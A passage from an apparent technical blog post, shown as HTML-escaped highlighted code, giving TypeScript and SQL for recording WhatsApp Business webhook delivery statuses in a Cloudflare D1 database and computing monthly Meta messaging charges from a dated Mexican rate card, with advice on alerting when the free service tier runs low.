    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;DELIVERED&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;delivered&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;read&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// `read` without `delivered` still means delivered&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;applyStatus&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;db&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; D1Database&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; phoneNumberId&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; s&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; WebhookStatus&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; timeZone&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; db
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;prepare&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;INSERT INTO wa_outbound (wamid, phone_number_id, month, delivered, category, pricing_type)
       VALUES (?1, ?2, ?3, ?4, ?5, ?6)
       ON CONFLICT(wamid) DO UPDATE SET
         month        = CASE WHEN excluded.delivered = 1 AND delivered = 0 THEN excluded.month ELSE month END,
         delivered    = MAX(delivered, excluded.delivered),
         category     = COALESCE(excluded.category, category),
         pricing_type = COALESCE(excluded.pricing_type, pricing_type)&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      phoneNumberId&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token function&quot;&gt;monthKey&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;Number&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;timestamp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; timeZone&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token constant&quot;&gt;DELIVERED&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;has&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pricing&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;category &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pricing&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;type &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;ON CONFLICT&lt;/code&gt; does the dirty work: repeated statuses do not duplicate, &lt;code&gt;pricing&lt;/code&gt; is kept whether it came on &lt;code&gt;sent&lt;/code&gt; or on &lt;code&gt;delivered&lt;/code&gt;, and the month that counts is the delivery month (a message sent at 11:59pm on September 30 and delivered on October 1 lands in October).&lt;/p&gt;
&lt;p&gt;Finally, the monthly bill. The rate card carries a date, and what decides whether a message is billed is &lt;code&gt;type&lt;/code&gt;, not your counter:&lt;/p&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;FREE_SERVICE_PER_MONTH&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;/** Mexico card in MXN per delivered message. One entry per quarter with changes. */&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;MX_RATES_MXN&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; from&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; rates&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Record&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; from&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;2026-07&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rates&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; marketing&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.5614&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; utility&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.1565&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; authentication&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.1565&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; from&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;2026-10&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rates&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; marketing&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.7298&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; utility&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.1565&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; authentication&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.1565&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; service&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.1565&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;ratesFor&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;month&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;MX_RATES_MXN&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;findLast&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;card&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; card&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;from &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; month&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;rates &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;monthlyBill&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;db&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; D1Database&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; phoneNumberId&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; month&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; results &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; db
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;prepare&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;SELECT category, pricing_type, COUNT(*) AS n FROM wa_outbound
       WHERE phone_number_id = ? AND month = ? AND delivered = 1
       GROUP BY category, pricing_type&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;phoneNumberId&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; month&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; category&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; pricing_type&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; n&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;number&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; rates &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ratesFor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;month&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; total &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; serviceDelivered &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; paidService &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; unpriced&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Record&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; category&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; pricing_type&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; n &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; results&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;category &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;pricing_type&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      unpriced&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;(no pricing)&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;unpriced&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;(no pricing)&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; n&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Meta does not document whether entry point messages use up the tier: not counted here.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;category &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;service&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; pricing_type &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;free_entry_point&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; serviceDelivered &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; n&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pricing_type &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;regular&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// free: window, tier or entry point&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;category &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;service&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; paidService &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; n&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; rate &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; rates&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;category&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;rate &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      unpriced&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;category&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;unpriced&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;category&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; n&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// billed and you have no rate: do not add it as 0&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    total &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; n &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; rate&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    total&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;round&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;total &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    serviceDelivered&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    freeServiceLeft&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;FREE_SERVICE_PER_MONTH&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; serviceDelivered&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    paidService&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    unpriced&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If your WABA bills in USD, swap the card for the USD row (0.0305 / 0.0085 / 0.0085 from July, 0.0397 / 0.0085 / 0.0085 / 0.0085 from October). With that in place, alerting is one line in a daily cron: fire when &lt;code&gt;freeServiceLeft&lt;/code&gt; drops below 200, when the month’s first &lt;code&gt;paidService&lt;/code&gt; appears, or when &lt;code&gt;unpriced&lt;/code&gt; is not empty. And if &lt;code&gt;paidService&lt;/code&gt; is above zero while &lt;code&gt;serviceDelivered&lt;/code&gt; is under 1,000, &lt;strong&gt;your counter and Meta disagree&lt;/strong&gt;: another app sending from the same number, lost webhooks, or a month boundary in a different timezone. Meta wins.&lt;/p&gt;
